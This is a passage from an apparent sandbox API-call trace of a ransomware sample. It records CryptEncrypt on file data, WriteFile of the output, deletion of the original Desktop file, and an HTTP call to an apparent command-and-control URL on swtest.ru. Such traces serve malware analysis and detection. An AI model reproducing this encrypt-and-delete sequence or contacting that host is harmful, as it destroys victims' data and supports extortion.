(in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0078.214] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0078.214] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0078.214] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0078.214] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0078.214] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0078.215] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0078.215] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0078.215] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0078.215] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x16216c0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptEncrypt", lpUsedDefaultChar=0x0) returned 13 [0078.215] GetProcAddress (hModule=0x74c60000, lpProcName="CryptEncrypt") returned 0x74c95bd0 [0078.215] CryptEncrypt (in: hKey=0x164c630, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x130e618*=0xdf7, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x130e618*=0xe00) returned 1 [0078.215] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0078.215] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0078.215] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0078.215] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0078.215] CharLowerBuffW (in: lpsz="byte[3585]", cchLength=0xa | out: lpsz="byte[3585]") returned 0xa [0078.215] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0078.215] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0078.216] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0078.216] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0078.216] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0078.216] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0078.216] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x1621930, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptEncrypt", lpUsedDefaultChar=0x0) returned 13 [0078.216] GetProcAddress (hModule=0x74c60000, lpProcName="CryptEncrypt") returned 0x74c95bd0 [0078.216] CryptEncrypt (in: hKey=0x164c630, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x17cddf0*, pdwDataLen=0x130e618*=0xdf7, dwBufLen=0xe00 | out: pbData=0x17cddf0*, pdwDataLen=0x130e618*=0xe00) returned 1 [0078.216] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0078.216] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0078.216] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0078.216] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0078.216] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0078.217] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0078.217] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0078.217] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0078.217] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0078.217] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0078.217] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0078.217] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0078.217] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0078.217] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0078.218] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0078.218] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0078.218] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0078.218] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0078.218] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0078.218] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0078.218] WriteFile (in: hFile=0x3c8, lpBuffer=0x4f30048*, nNumberOfBytesToWrite=0xe00, lpNumberOfBytesWritten=0x130f01c, lpOverlapped=0x0 | out: lpBuffer=0x4f30048*, lpNumberOfBytesWritten=0x130f01c*=0xe00, lpOverlapped=0x0) returned 1 [0078.219] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0078.219] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0078.219] CharUpperBuffW (in: lpsz="_CRYPT_DESTROYKEY", cchLength=0x11 | out: lpsz="_CRYPT_DESTROYKEY") returned 0x11 [0078.219] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0078.219] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0078.219] PeekMessageW (in: lpMsg=0x130e7f4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e7f4) returned 0 [0078.219] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0078.219] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyKey", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0078.219] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyKey", cchWideChar=16, lpMultiByteStr=0x1621270, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDestroyKey", lpUsedDefaultChar=0x0) returned 16 [0078.219] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDestroyKey") returned 0x74c7fc10 [0078.219] CryptDestroyKey (hKey=0x164c630) returned 1 [0078.219] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0078.220] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0078.220] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0078.220] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0078.220] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0078.220] PeekMessageW (in: lpMsg=0x130e994, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e994) returned 0 [0078.220] PeekMessageW (in: lpMsg=0x130e994, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e994) returned 0 [0078.220] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0078.220] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0078.220] PeekMessageW (in: lpMsg=0x130e7cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e7cc) returned 0 [0078.220] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0078.220] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0078.220] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0078.220] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0078.220] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0078.220] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0078.220] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0078.220] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0078.220] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0078.220] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0078.220] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0078.220] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0078.221] PeekMessageW (in: lpMsg=0x130eaec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eaec) returned 0 [0078.221] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0078.221] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0078.221] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0078.221] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0078.221] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0078.221] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0078.221] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptReleaseContext", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0078.221] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptReleaseContext", cchWideChar=20, lpMultiByteStr=0x164e030, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptReleaseContext", lpUsedDefaultChar=0x0) returned 20 [0078.221] GetProcAddress (hModule=0x74c60000, lpProcName="CryptReleaseContext") returned 0x74c80ad0 [0078.221] CryptReleaseContext (hProv=0x1631bb0, dwFlags=0x0) returned 1 [0078.221] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0078.221] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0078.221] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0078.221] FreeLibrary (hLibModule=0x74c60000) returned 1 [0078.221] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0078.227] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0078.227] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0078.227] CloseHandle (hObject=0x3d8) returned 1 [0078.227] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0078.227] CloseHandle (hObject=0x3c8) returned 1 [0078.230] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0078.231] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0078.231] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\UsYgVD-zHC.mkv", nBufferLength=0x7fff, lpBuffer=0x12ff018, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\UsYgVD-zHC.mkv", lpFilePart=0x0) returned 0x2c [0078.231] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\UsYgVD-zHC.mkv" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\usygvd-zhc.mkv")) returned 0x20 [0078.231] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\UsYgVD-zHC.mkv", lpFindFileData=0x130f060 | out: lpFindFileData=0x130f060) returned 0x164c4f0 [0078.231] DeleteFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\UsYgVD-zHC.mkv" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\usygvd-zhc.mkv")) returned 1 [0078.245] FindNextFileW (in: hFindFile=0x164c4f0, lpFindFileData=0x130f060 | out: lpFindFileData=0x130f060) returned 0 [0078.246] FindClose (in: hFindFile=0x164c4f0 | out: hFindFile=0x164c4f0) returned 1 [0078.246] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0078.246] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0078.246] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0078.246] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0078.246] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\v9QSV-fpmiyBDo4VCAvP.pdf", lpFindFileData=0x130f048 | out: lpFindFileData=0x130f048) returned 0x164d130 [0078.246] FindClose (in: hFindFile=0x164d130 | out: hFindFile=0x164d130) returned 1 [0078.246] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0078.246] InternetCrackUrlW (in: lpszUrl="http://rektware20.temp.swtest.ru/test1.php", dwUrlLength=0x2a, dwFlags=0x0, lpUrlComponents=0x130ef38 | out: lpUrlComponents=0x130ef38) returned 1 [0078.246] InternetOpenW (lpszAgent="AutoIt", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0078.246] InternetSetOptionW (hInternet=0x0, dwOption=0x32, lpBuffer=0x130ef80, dwBufferLength=0x8) returned 1 [0078.246] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x0, lpdwBufferLength=0x130ef8c | out: lpBuffer=0x0, lpdwBufferLength=0x130ef8c) returned 0 [0078.247] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x1620eb0, lpdwBufferLength=0x130ef8c | out: lpBuffer=0x1620eb0, lpdwBufferLength=0x130ef8c) returned 1 [0078.247] InternetConnectW (hInternet=0xcc0004, lpszServerName="rektware20.temp.swtest.ru", nServerPort=0x50, lpszUserName="", lpszPassword="", dwService=0x3, dwFlags=0x0, dwContext=0x0) returned 0xcc0008 [0078.247] HttpOpenRequestW (hConnect=0xcc0008, lpszVerb=0x0, lpszObjectName="/test1.php", lpszVersion=0x0, lpszReferrer=0x0, lplpszAcceptTypes=0x0, dwFlags=0x0, dwContext=0x0) returned 0xcc000c [0078.247] HttpSendRequestW (in: hRequest=0xcc000c, lpszHeaders=0x0, dwHeadersLength=0x0, lpOptional=0x0*, dwOptionalLength=0x0 | out: lpOptional=0x0*) returned 1 [0078.247] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x20000013, lpBuffer=0x130ef40, lpdwBufferLength=0x130ef38, lpdwIndex=0x130ef3c*=0x0 | out: lpBuffer=0x130ef40*, lpdwBufferLength=0x130ef38*=0x4, lpdwIndex=0x130ef3c*=0x0) returned 1 [0078.247] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x5, lpBuffer=0x130ef5c, lpdwBufferLength=0x130ef88, lpdwIndex=0x130ef8c*=0x0 | out: lpBuffer=0x130ef5c*, lpdwBufferLength=0x130ef88*=0x2, lpdwIndex=0x130ef8c*=0x1) returned 1 [0078.247] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0x130ef3c, dwFlags=0x0, dwContext=0x0) returned 1 [0078.247] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1629150, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130ef40 | out: lpBuffer=0x1629150*, lpdwNumberOfBytesRead=0x130ef40*=0x2) returned 1 [0078.247] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1629220, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130ef40 | out: lpBuffer=0x1629220*, lpdwNumberOfBytesRead=0x130ef40*=0x0) returned 1 [0078.247] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0078.248] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0078.248] InternetCloseHandle (hInternet=0xcc0008) returned 0 [0078.248] CloseHandle (hObject=0x0) returned 0 [0078.248] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\v9QSV-fpmiyBDo4VCAvP.pdf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0078.248] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=":\\Users\\CIiHmnxMn6Ps\\Desktop\\v9QSV-fpmiyBDo4VCAvP.pdf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0078.248] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\Users\\CIiHmnxMn6Ps\\Desktop\\v9QSV-fpmiyBDo4VCAvP.pdf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0078.248] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Users\\CIiHmnxMn6Ps\\Desktop\\v9QSV-fpmiyBDo4VCAvP.pdf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0078.248] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="sers\\CIiHmnxMn6Ps\\Desktop\\v9QSV-fpmiyBDo4VCAvP.pdf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0078.248] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ers\\CIiHmnxMn6Ps\\Desktop\\v9QSV-fpmiyBDo4VCAvP.pdf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0078.248] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="rs\\CIiHmnxMn6Ps\\Desktop\\v9QSV-fpmiyBDo4VCAvP.pdf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0078.248] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\CIiHmnxMn6Ps\\Desktop\\v9QSV-fpmiyBDo4VCAvP.pdf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0078.248] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\CIiHmnxMn6Ps\\Desktop\\v9QSV-fpmiyBDo4VCAvP.pdf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0078.248] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="CIiHmnxMn6Ps\\Desktop\\v9QSV-fpmiyBDo4VCAvP.pdf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0078.248] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="IiHmnxMn6Ps\\Desktop\\v9QSV-fpmiyBDo4VCAvP.pdf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0078.248] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="iHmnxMn6Ps\\Desktop\\v9QSV-fpmiyBDo4VCAvP.pdf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0078.248] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="HmnxMn6Ps\\Desktop\\v9QSV-fpmiyBDo4VCAvP.pdf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0078.248] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="mnxMn6Ps\\Desktop\\v9QSV-fpmiyBDo4VCAvP.pdf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0078.248] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="nxMn6Ps\\Desktop\\v9QSV-fpmiyBDo4VCAvP.pdf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0078.248] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="xMn6Ps\\Desktop\\v9QSV-fpmiyBDo4VCAvP.pdf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0078.248] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Mn6Ps\\Desktop\\v9QSV-fpmiyBDo4VCAvP.pdf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0078.248] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="n6Ps\\Desktop\\v9QSV-fpmiyBDo4VCAvP.pdf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0078.248] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="6Ps\\Desktop\\v9QSV-fpmiyBDo4VCAvP.pdf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0078.249] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Ps\\Desktop\\v9QSV-fpmiyBDo4VCAvP.pdf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0078.249] CompareStringW (Locale=0x400, 